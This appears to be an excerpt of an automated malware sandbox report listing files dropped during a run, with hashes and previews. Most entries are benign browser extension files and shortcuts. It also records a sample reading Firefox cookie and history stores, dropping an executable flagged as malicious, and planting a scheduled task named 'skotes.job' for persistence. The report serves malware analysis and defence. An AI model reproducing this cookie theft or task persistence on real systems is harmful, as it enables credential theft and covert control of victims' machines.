Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 19 16:00:26 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9813235597711993
Encrypted:	false
SSDEEP:	48:8HA0drTzf/H0ZidAKZdA1oehwiZUklqehRy+3:8HAIHDey
MD5:	52AAD95EA4E1760395D74EAC421304AC
SHA1:	34943066D833F4F65D857E48A7D7931F91C34BA7
SHA-256:	F2DF73E076A11DFEE47594D0BCFB69534B333D0002B27DD3618A3D8CFCF42C88
SHA-512:	E0117DCB861F2BAE2433BAA6AB7DE4A4DC80B1E4D0EB2A209A3A7BCD6027B1FB774B35E6DB99AC43D3471FBB7B88AD7A3799D1FA6663354C64BBC27EE62344A6
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......:..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IsY......B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VsY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VsY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VsY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VsY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........A.'2.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 19 16:00:26 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.996923330629305
Encrypted:	false
SSDEEP:	48:810drTzf/H0ZidAKZdA1leh/iZUkAQkqehOy+2:81IHx9Qjy
MD5:	D7F0F73F013A7AB1AEE81B9900FD11A5
SHA1:	0406F088FDAF64CC46C7568F50F8F45C28D9BFF9
SHA-256:	829A2ECE8F164E99F20F475B6D991D212CC9AA6A8BD4C9B54BEEE5F6A526918F
SHA-512:	8241309795C5FD5FA70A5CAEC1416E4C700BCB8C153CFD39E459E10AB46D6512BD168F007765E51F6FB2B6D156670A6D16F68B579A896B057D7EE580CE04BEF5
Malicious:	false
Preview:	L..................F.@.. ...$+.,........:..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IsY......B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VsY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VsY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VsY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VsY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........A.'2.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 07:00:51 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.007027182432905
Encrypted:	false
SSDEEP:	48:820drTzfbH0ZidAKZdA14t5eh7sFiZUkmgqeh7soy+BX:82IHFnyy
MD5:	87D92E3177E1B4E6ED1EF783D8D7924B
SHA1:	99BCB1B687CC8F2FC7ECD22A2F40822500CE4E23
SHA-256:	B081CDE0D067D44168355566A93F92E89921E9DCFC81FF5EC6A10DC366591D2E
SHA-512:	214CEDAA60C874760A0AC8992258D2CAA5941828049905CD2117D65F81C8522A071C50D6C02E7AE59644A6223448D7E732244AE4B75B602B800F10EE2FA869C7
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....C..b...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IsY......B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VsY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VsY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VsY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VEW.@...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........A.'2.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 19 16:00:26 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9951376460896997
Encrypted:	false
SSDEEP:	48:890drTzf/H0ZidAKZdA16ehDiZUkwqehKy+R:89IHCAy
MD5:	63A0CE4E42B8DEC35740EA8F8F26C105
SHA1:	E2B3AE69F7A842D6309C74D7ECE324638386B152
SHA-256:	7D67AF05D3652D24F626CAAF6D303CFDFC9FA08FDF45BE580B28D7DA2DF2C15C
SHA-512:	6EDA10EA90B6D21CA44ABA262B10E8A66991B8A44E9E0B136BE9A94C266DCE1704589C87CA0DC436C465CD6740AF8962F2D9D48837443D8C407D96013A6AABBB
Malicious:	false
Preview:	L..................F.@.. ...$+.,....z%..:..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IsY......B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VsY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VsY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VsY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VsY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........A.'2.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 19 16:00:26 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.983640235936945
Encrypted:	false
SSDEEP:	48:8Cr0drTzf/H0ZidAKZdA1UehBiZUk1W1qehMy+C:8iIHy9sy
MD5:	748B72EC0E96B3C46865D229EBC17FD1
SHA1:	B7B094E2288AD297BCFE500EBAE376283210215D
SHA-256:	2C0BB6B454A05D8116F734CD3CA54628699EB153EC959926BC69DFAFA5EEE90F
SHA-512:	5F1C494DE5997CA9AC8EAEDD08B89726E90FE2688C6A441535C421E45D886C076E34F064225DC6C0205C96F8AB5E2E67283190859C423B545C473163C94E711A
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......:..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IsY......B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VsY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VsY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VsY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VsY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........A.'2.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 19 16:00:26 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.994753849508973
Encrypted:	false
SSDEEP:	48:8de0drTzf/H0ZidAKZdA1duTrehOuTbbiZUk5OjqehOuTbyy+yT+:8oIHzTYTbxWOvTbyy7T
MD5:	4F0457E7BD8A0439D7B71ADB81086381
SHA1:	E96C73A55A311221B1D89CE980F9826A2D38C40E
SHA-256:	722016B243CF1D7AB730CE34E50A0773683362A943BE9B5A03377BD1B3B40FCD
SHA-512:	AE4C0AA7EDEF2B0D4AC51B4763C03D1A94D695D0BF50404826E0D2CDC1C96FFB314F803F58B7AA4C8DC5E83A9CF8C8FC31E894DB85DEE7974A23358A2635DE7E
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....O..:..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IsY......B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VsY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VsY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VsY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VsY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........A.'2.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsKKEHIEBKJK.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1913856
Entropy (8bit):	7.949154051915717
Encrypted:	false
SSDEEP:	24576:VdnKzvhEbF6tPhl1QLNquQR+hxt4Hpqv8EWFz47ev/1JVWcvtYOwbHKpOBJ9pQQr:v+yF65hl1Mx+q8EWh1J/WbEOLgQnun
MD5:	73897C497394D9F83B016E6377594C5D
SHA1:	0243A0AA886487A7E9911AAF1ED5DDB28D983B71
SHA-256:	8EF6CD5928D602F0011BA38EAADA3C2A5A8E26930C9064400F81E7E182BC7AAA
SHA-512:	E809EBB44765C671C703A61BB28E20F0383C8405A543B94AD88778E5C14682D57C5FFE866E690032B3B85CC500C4270BE8452C5AC4A7B8ECCA90440B9D4A736E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................0L...........@..........................`L...........@.................................W...k.......H...................<.L...............................L..................................................... . ............................@....rsrc...H...........................@....idata ............................@... .P+.........................@...bapykixb. ....2.....................@...bvnfygjx..... L.....................@....taggant.0...0L.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsKKEHIEBKJK.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.424699516790577
Encrypted:	false
SSDEEP:	6:fGVuovX7L1UEZ+lX1CGdKUe6tkHs+Zgty0lBizEt0:uR7BQ1CGAFBZgtVB3t0
MD5:	82AB9BD68E6B948064087CDE28B623D3
SHA1:	588A41F26859EE025AAE7911711022D6E914E8DF
SHA-256:	DE842D2F5AF0FD41B3059C9E34EB4FA9287F5D95B9D1F22646942969F162BD61
SHA-512:	9198AE195242CE230541AE551B9EA14B97DD98F66B23B07C145622B3D03FC20A5C6A205F4DBC9194D9F21E6AC8CF2A0E03A725B35F0834E3046421399038B013
Malicious:	false
Preview:	......._...M...m.Y*F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.h.u.b.e.r.t.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........H.U.B.E.R.T.-.P.C.\.h.u.b.e.r.t...................0...................@3P.........................

Chrome Cache Entry: 482

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (773)
Category:	downloaded
Size (bytes):	778
Entropy (8bit):	5.1609285656541255
Encrypted:	false
SSDEEP:	24:HZFcLnK2BHslgT9lCuABuoB7HHHHHHHYqmffffffo:HZFD2KlgZ01BuSEqmffffffo
